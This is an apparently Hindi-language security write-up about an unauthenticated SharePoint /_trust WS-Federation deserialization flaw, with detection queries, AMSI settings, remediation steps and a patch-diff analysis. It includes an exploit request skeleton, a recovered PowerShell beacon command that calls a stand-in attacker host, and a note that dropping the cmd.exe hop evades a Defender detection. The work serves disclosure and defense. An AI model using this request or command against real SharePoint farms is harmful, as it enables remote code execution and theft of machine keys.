SharePoint /_trust WS-Federation डिसीरियलाइज़ेशन: PoC और डिटेक्शन नोट्स

लाइव राइटअप (GitHub Pages): https://sp-poc.wismansec.com/ (इस दस्तावेज़ का HTML रेंडरिंग)।

प्रभावित: SharePoint Server 2016, 2019, और Subscription Edition।

एक पृथक (isolated) लैब में SharePoint Server (Subscription Edition) घुसपैठ का पुनर्निर्माण, जो (a) हमलावर की पूरी क्षमता को समझने, (b) यह निर्धारित करने कि रक्षक को किस चीज़ की तलाश करनी चाहिए, जिसमें छिपी हुई निरंतरता (stealthy persistence) शामिल है, और (c) अन्य अन्वेषकों की सहायता के लिए PoC साझा करने हेतु बनाया गया है।

केवल अधिकृत शोध। यहाँ सब कुछ पृथक, व्यक्तिगत स्वामित्व वाले लैब हार्डवेयर और खातों पर किया गया था, एक ऐसे बिल्ड के विरुद्ध जिसे जानबूझकर परीक्षण के लिए बिना पैच छोड़ा गया था। अंतर्निहित समस्या विक्रेता द्वारा ठीक कर दी गई है; वर्तमान अपडेट लागू करें। इसे उन सिस्टमों पर न चलाएँ जिनके आप स्वामी नहीं हैं और जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है। मशीन-कुंजी मान, आंतरिक होस्टनाम/IP, और कॉलबैक डोमेन पाठ और उदाहरण आर्टिफैक्ट्स में रिडैक्ट किए गए हैं। SIEM स्क्रीनशॉट अपरिवर्तित हैं और लैब के वास्तविक नाम रखते हैं; §4 में नोट देखें।

• द्वारा: WismanSec
• फिक्स: जुलाई 2026 अपडेट (KB5002882)
• संबंधित CVE (यह क्लस्टर, CISA KEV-सूचीबद्ध): CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644
• भेद्यता वर्ग: /_trust SecurityContextToken BinaryFormatter डिसीरियलाइज़ेशन परिवार

प्रतिक्रियाकर्ताओं के लिए TL;DR

• एक एकल बिना-प्रमाणीकरण वाला POST /_trust/default.aspx (WS-Federation साइन-इन) जो एक दुर्भावनापूर्ण SecurityContextToken ले जाता है, SharePoint वर्कर (w3wp.exe) में BinaryFormatter डिसीरियलाइज़ेशन ट्रिगर करता है, जिससे वेब-ऐप पूल पहचान के रूप में रिमोट कोड निष्पादन (RCE) प्राप्त होता है।
• वही प्रिमिटिव फ़ार्म मशीन कुंजियाँ (ValidationKey/DecryptionKey) पूरी तरह से इन-प्रोसेस डंप कर सकता है। डिफ़ॉल्ट-कॉन्फ़िग फ़ार्म में: कोई चाइल्ड प्रोसेस नहीं, कोई AV अलर्ट नहीं, कोई बीकन नहीं (/_trust के लिए AMSI रिक्वेस्ट-बॉडी स्कैनिंग सक्षम करने पर इसका पता चलता है और यह ब्लॉक हो जाता है; §5 देखें)। वे कुंजियाँ हमलावर को __VIEWSTATE/प्रमाणीकरण टोकन जाली बनाने देती हैं जो पैचिंग के बाद भी काम करते हैं।
• पैचिंग पर्याप्त नहीं है। मशीन कुंजियाँ रोटेट करें किसी भी फ़ार्म पर जिसे आपको लगता है कि प्रभावित हुआ है, और /_trust रिक्वेस्ट सिग्नेचर की तलाश करें, जो हर वैरिएंट में मौजूद एकमात्र आर्टिफैक्ट है।

1. भेद्यता

SharePoint /_trust/default.aspx पर एक WS-Federation पैसिव साइन-इन एंडपॉइंट उजागर करता है। एक निर्मित साइन-इन प्रतिक्रिया (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) एक SecurityContextToken एम्बेड करती है जिसका <Cookie> तत्व base64, DEFLATE-संपीड़ित BinaryFormatter स्ट्रीम है। सर्वर-साइड, वह कुकी डीकंप्रेस होती है और बिना टाइप प्रतिबंध के डिसीरियलाइज़ होती है, इसलिए एक गैजेट चेन (ysoserial.net के माध्यम से) w3wp.exe के अंदर हमलावर-नियंत्रित कोड निष्पादित करती है।

रिक्वेस्ट स्केलेटन (बिना प्रमाणीकरण):

POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded

wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
  <SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...

2. एक प्रिमिटिव से दो चेन

scripts/ में स्क्रिप्ट (सैनिटाइज़्ड): एक पैरामीटरयुक्त OOB RCE और दो-चरणीय कुंजी-डंप। पेलोड डिलीवरी PowerShell -EncodedCommand का उपयोग करती है ताकि बहु-कथन पेलोड cmd.exe/परिवहन परतों से अक्षुण्ण बचे रहें (;/&& क्वोटिंग बिना टूटे)।

3. लैब

एकल SharePoint SE फ़ार्म (फिक्स-पूर्व बिल्ड पिन किया हुआ), ऐप-पूल पहचान LAB\sp_pool, PowerShell 5.1, क्लाउड सुरक्षा के साथ Microsoft Defender चालू। टेलीमेट्री (Windows Event Log, SharePoint लॉग, Defender for Endpoint) nano को भेजी गई, जो एक हल्का ओपन-सोर्स SIEM है; हमलावर होस्ट ने ysoserial.net चलाया; एक interactsh क्लाइंट ने OOB लिसनर प्रदान किया। पाठ में पते और डोमेन रिडैक्ट किए गए हैं; §4 में स्क्रीनशॉट नोट देखें।

4. परिणाम: इनवोकेशन → आर्टिफैक्ट मैट्रिक्स

हर पंक्ति एक वास्तविक डेटोनेशन है; आर्टिफैक्ट प्रति रन SIEM + OOB लिसनर से खींचे गए।

स्क्रीनशॉट अपरिवर्तित हैं। वे लैब के वास्तविक होस्ट और NetBIOS नाम रखते हैं, जो कच्चे हैं और पूरे पाठ में उपयोग किए गए सैनिटाइज़्ड SHAREPOINT01 / LAB से भिन्न हैं। वही रन, वही इवेंट, कुछ भी स्टेज नहीं किया गया। कार्य-सुरक्षित समकक्ष artifacts/ में हैं।

ये परिणाम डिफ़ॉल्ट AMSI कॉन्फ़िगरेशन (Balanced मोड, /_trust स्कैन नहीं किया गया) के लिए हैं। AMSI रिक्वेस्ट-बॉडी स्कैनिंग /_trust के लिए सक्षम होने पर (Full मोड या टारगेटेड), हर पंक्ति इसके बजाय रिक्वेस्ट परत पर ब्लॉक हो जाती है: HTTP 400, Exploit:Script/SpCookieExec.A, निष्पादन से पहले (§5 देखें)।

हर RCE डेटोनेशन, एक क्वेरी

सभी चार प्रलेखित डेटोनेशन, 15:01 से 15:18 UTC तक, w3wp.exe का हर चाइल्ड पूल पहचान के रूप में चल रहा है। चार में से तीन सीधे स्पॉन किए गए powershell.exe हैं। केवल 15:03:34 वाला रन cmd.exe से होकर जाता है, और केवल उसी रन का पता चला। विंडो को इससे आगे बढ़ाएँ और उसी सुबह के पहले के विकास पुनरावृत्तियाँ परिणाम सेट में प्रवेश कर जाती हैं, इसलिए दावा इन चार रनों तक सीमित है।

एक ही एक्सप्लॉइट, दो प्रोसेस ट्री

डिफ़ॉल्ट इनवोकेशन: w3wp.exe → cmd.exe → powershell.exe, साथ में conhost.exe। यह वह आकार है जिस पर Behavior:Win32/WebshellLauncher.A आधारित है।

-RawCmd इनवोकेशन, वही प्रिमिटिव और वही पेलोड, cmd.exe हॉप हटाए जाने के साथ। इस रन के लिए Defender ने कुछ भी उत्पन्न नहीं किया। w3wp → cmd पर आधारित डिटेक्शन इसे पूरी तरह से चूक जाती है।

जो डिटेक्शन चली, और तीन रन जो उससे छूट गए

उसी 25-मिनट की विंडो में हर Defender इवेंट जिसमें चार डेटोनेशन थे। तीनों एक ही cmd.exe रन से संबंधित हैं: Severe पर दो malware_detected, फिर Remove क्रिया के साथ malware_action_taken। रेमेडिएशन बीकन से पहले नहीं पहुँच पाया, जो पहले पूरा हो गया।

Security 4688 से मुख्य कमांड लाइन शब्दशः पुनर्प्राप्त (एन्कोडिंग ≠ एवेज़न):

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
   → decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

एन्कोडेड कमांड लाइन जैसा कि SIEM में दिखाई देती है। यह UTF-16LE का base64 है और इससे अधिक कुछ नहीं; base64 -d | iconv -f utf-16le -t utf-8 एक ही चरण में कॉलबैक पुनर्प्राप्त करता है। एन्कोडिंग ऑबफ़स्केशन नहीं है।

कुंजी-डंप कुछ भी पीछे नहीं छोड़ता

नीचे दो फ्रेम उसी 90-सेकंड की विंडो को कवर करते हैं जिसमें फ़ार्म मशीन कुंजियाँ चुराई गईं।

बिना फ़िल्टर किए, विंडो में 20 इवेंट हैं। होस्ट जीवित है और टेलीमेट्री भेज रहा है।

w3wp.exe के चाइल्ड तक फ़िल्टर करने पर, वही विंडो खाली है। कोई प्रोसेस नहीं, कोई Defender इवेंट नहीं, कोई बीकन नहीं। कुंजियाँ HTTP प्रतिक्रिया के माध्यम से निकल गईं और एकमात्र होस्ट-साइड आर्टिफैक्ट स्वयं /_trust रिक्वेस्ट था, जिसे यह SIEM एकत्र नहीं कर रहा था। पैचिंग चुराई गई कुंजियों को रद्द नहीं करती; उन्हें रोटेट करें।

-Diag प्रकटीकरण OOB लिसनर पर कैप्चर किया गया (URL-डीकोडेड):

{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }

5. डिटेक्शन और हंटिंग

हर वैरिएंट में मौजूद एकमात्र सिग्नेचर। पहले इसकी तलाश करें:

• IIS / SharePoint लॉग: POST /_trust/default.aspx जिसमें बॉडी wa=wsignin1.0 और wresult में RequestSecurityTokenResponse + SecurityContextToken/<Cookie> शामिल हो। बिना प्रमाणीकरण, अक्सर असामान्य User-Agent। प्रतिक्रिया-स्थिति आधार रेखा: इस एंडपॉइंट पर वैध WS-Federation साइन-इन ट्रैफ़िक मुख्य रूप से HTTP 302 होता है; एक्सप्लॉइट अन्य स्थितियाँ लौटाता है (200, 500, कनेक्शन रीसेट, या AMSI ब्लॉक करने पर 400)। जहाँ एंडपॉइंट पर वास्तविक साइन-इन मात्रा होती है, POST /_trust/default.aspx की गैर-302 प्रतिक्रिया को असामान्य मानें। केवल स्थिति एक्सप्लॉइट की सफलता की पुष्टि नहीं करती; एक सफल रन ने 200 और रीसेट दोनों लौटाए।

प्रोसेस-आधारित (केवल RCE वैरिएंट):

• w3wp.exe सीधे cmd.exe या powershell.exe स्पॉन करना। -RawCmd वैरिएंट cmd.exe हॉप हटा देता है और WebshellLauncher.A को चकमा देता है, इसलिए केवल w3wp→cmd पर आधारित न रहें।
• w3wp के अंतर्गत कोई भी powershell.exe -EncodedCommand: ब्लॉब को सीधे 4688 से डीकोड करें (यह संग्रहीत होने पर ऑबफ़स्केटेड नहीं होता)।
• w3wp.exe → whoami.exe (रीकॉन), या चाइल्ड conhost.exe।

प्रतिक्रिया निर्णयों को प्रभावित करने वाली दो खोजें:

1. व्यवहारिक डिटेक्शन रोकथाम की गारंटी नहीं देती। जब Defender ने प्रोसेस चेन को Behavior:Win32/WebshellLauncher.A के रूप में पहचाना और उसे रेमेडिएट किया, कम से कम एक निष्पादन में आउटबाउंड बीकन रेमेडिएशन समाप्त होने से पहले पूरा होता देखा गया। ऐसी डिटेक्शन को संभावित सफल कॉलबैक मानें और डिटेक्शन समय के आसपास कॉलबैक गंतव्य के लिए DNS, प्रॉक्सी और आउटबाउंड लॉग की समीक्षा करें।
2. मशीन-कुंजी प्रकटीकरण कोई प्रोसेस, सेवा, या नेटवर्क टेलीमेट्री उत्पन्न नहीं करता। यह w3wp.exe के अंदर निष्पादित होता है और कुंजियाँ HTTP प्रतिक्रिया में लौटाता है, इसलिए एकमात्र होस्ट-साइड साक्ष्य POST /_trust/default.aspx रिक्वेस्ट और उसकी प्रतिक्रिया है। इसका पता चलता है या नहीं यह AMSI रिक्वेस्ट-बॉडी स्कैन कॉन्फ़िगरेशन पर निर्भर करता है।

MITRE ATT&CK: T1190 (सार्वजनिक-सामना करने वाले अनुप्रयोग का शोषण) · T1059.001 (PowerShell) · T1552 (असुरक्षित क्रेडेंशियल: मशीन कुंजियाँ) · T1550 (जाली प्रमाणीकरण सामग्री का उपयोग, चोरी-पश्चात)।

AMSI रिक्वेस्ट-बॉडी स्कैनिंग

दोनों चेन अपना पेलोड POST /_trust/default.aspx रिक्वेस्ट के बॉडी में पहुँचाती हैं। Microsoft Defender उस पेलोड का निरीक्षण करता है या नहीं, यह वेब अनुप्रयोग के लिए SharePoint के AMSI रिक्वेस्ट-बॉडी स्कैन कॉन्फ़िगरेशन द्वारा नियंत्रित होता है। तीन कॉन्फ़िगरेशन सीधे इस फ़ार्म के विरुद्ध परीक्षण किए गए (SharePoint Server Subscription Edition, Microsoft Defender):

डिफ़ॉल्ट कॉन्फ़िगरेशन में रिक्वेस्ट बॉडी का निरीक्षण नहीं किया जाता, इसलिए RCE और मशीन-कुंजी प्रकटीकरण दोनों पूरे होते हैं और कोई AMSI डिटेक्शन उत्पन्न नहीं करते। किसी भी स्कैनिंग कॉन्फ़िगरेशन में डिसीरियलाइज़ेशन से पहले रिक्वेस्ट HTTP 400 के साथ अस्वीकार कर दी जाती है, कोई वर्कर प्रोसेस नहीं बनता, और Defender रिकॉर्ड करता है:

क्योंकि कोई कोड चलने से पहले रिक्वेस्ट ब्लॉक हो जाती है, कोई चाइल्ड प्रोसेस नहीं बनता और किसी भी चेन के लिए कोई Security 4688 प्रोसेस-निर्माण इवेंट उत्पन्न नहीं होता। RCE वैरिएंट जो powershell.exe को सीधे स्पॉन करता है (बिना मध्यवर्ती cmd.exe के) समान रूप से ब्लॉक होता है।

कॉन्फ़िगरेशन (SharePoint Management Shell, प्रति वेब अनुप्रयोग):

$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2                              # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset

6. निवारण

1. फिक्स्ड SharePoint बिल्ड पर पैच करें।
2. मशीन कुंजियाँ रोटेट करें (Set-SPMachineKey / web.config machineKey अपडेट करें + IISReset) किसी भी फ़ार्म पर जिस तक संभावित रूप से पहुँच हुई हो। पैचिंग RCE रोकती है लेकिन पहले से चुराई गई कुंजियाँ रद्द नहीं करती; रोटेशन हमलावर की निरंतरता के लिए FedAuth / SecurityContextToken / __VIEWSTATE जाली बनाने की क्षमता समाप्त कर देता है।
3. ऐतिहासिक IIS लॉग में POST /_trust/default.aspx की तलाश करें। वैध WS-Federation साइन-इन भी इस एंडपॉइंट को wa=wsignin1.0 के साथ लक्षित करता है, इसलिए अकेले एंडपॉइंट पर नहीं, बल्कि एक्सप्लॉइट-विशिष्ट संरचना पर ध्यान दें: एक wresult जिसका टोकन base64 <Cookie> वाला <SecurityContextToken> है (नेमस्पेस http://schemas.microsoft.com/ws/2006/05/security; वैध साइन-इन इसके बजाय एक हस्ताक्षरित SAML अभिकथन ले जाता है), साथ में एक गैर-302 प्रतिक्रिया (200/500/400 या रीसेट) और एक स्क्रिप्टेड/असामान्य User-Agent। कुंजी-डंप ऐसे दो POST तेज़ी से लगातार भेजता है। यदि मौजूद है, तो कुंजी समझौता मान लें।

7. मूल कारण: जून → जुलाई पैच डिफ

विक्रेता के फिक्स का स्थैतिक विश्लेषण तंत्र की पुष्टि करता है और यह तय करता है कि RCE को चुराई गई मशीन कुंजियों की आवश्यकता है या नहीं: यह नहीं है। विधि: जून CU (KB5002873, 16.0.19725.20384) और जुलाई CU (KB5002882, 16.0.19725.20434) के बीच Microsoft.SharePoint.IdentityModel.dll का बाइनरी पैच-डिफ; डीकंपाइल और तुलना, केवल-पठनीय।

शोषित रीड पथ है SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (System.IdentityModel.Tokens.SessionSecurityTokenHandler का एक उपवर्ग)। परिवर्तन:

व्याख्या। पैच-पूर्व ट्रांसफ़ॉर्म चेन केवल-deflate थी, जिसमें कोई एन्क्रिप्शन नहीं और मशीन कुंजी पर आधारित कोई MAC/सिग्नेचर ट्रांसफ़ॉर्म नहीं था। आधार ReadToken ट्रांसफ़ॉर्म लागू करता है और कुकी मान को डिसीरियलाइज़ करता है, इसलिए एक जाली टोकन बिना किसी मशीन-कुंजी सत्यापन गेट के फुलाया और डिसीरियलाइज़ किया जाता है; गैजेट ValidationKey/DecryptionKey के बिना चलता है (कुंजी-स्वतंत्र)। फिक्स सिंक को हटा देता है (ट्रांसफ़ॉर्म और ReadToken throw करते हैं) बजाय सिग्नेचर/डिक्रिप्शन जाँच जोड़ने के, यह पुष्टि करते हुए कि ठीक करने के लिए कोई कुंजी गेट नहीं था।

परिणाम। मशीन-कुंजी प्रकटीकरण एक अलग निरंतरता उद्देश्य है (FedAuth / SecurityContextToken / __VIEWSTATE जाली बनाना), RCE के लिए पूर्वापेक्षा नहीं; कुंजी-डंप स्वयं उसी पथ पर एक RCE है और कोई कुंजी चुराए जाने से पहले चलता है।

उसी जुलाई CU में एक दूसरा, असंबंधित हार्डनिंग शामिल है: SPJsonWebSecurityTokenHandlerV2 में JWT एक्टर-टोकन सिग्नेचर सत्यापन (RequireSignedTokens false→true, नया VerifyActorTokenSignature), एक अलग OAuth / सर्वर-से-सर्वर एक्टर-टोकन पथ, न कि वह WS-Federation सेशन-टोकन पथ जो यहाँ कवर किया गया है।

फिक्स लागू करना। फिक्स जुलाई CU (KB5002882) है: यह केवल-deflate कुकी ट्रांसफ़ॉर्म को एक ऐसे ट्रांसफ़ॉर्म से बदल देता है जो throw करता है, सिंक को हटाते हुए। इसे स्थापित करने के बाद, पुष्टि करें कि कोई भी फ़ार्म सेटिंग इसे पूर्ववत या बायपास नहीं करती। SessionCookieTransformProtectionEnabled को false पर सेट करने से सेशन-टोकन कुकी भेद्य केवल-deflate ट्रांसफ़ॉर्म पर लौट जाती है (RCE और कुंजी-डंप को फिर से खोलते हुए), और DisableActorTokenSignatureValidation डीबग फ़्लैग उसी अपडेट में हार्डन किए गए अलग JWT एक्टर-टोकन सिग्नेचर बायपास को फिर से खोल देता है।

8. रिपॉजिटरी संरचना

README.md            – this document
scripts/             – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/           – hunt queries / IOC list
artifacts/           – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md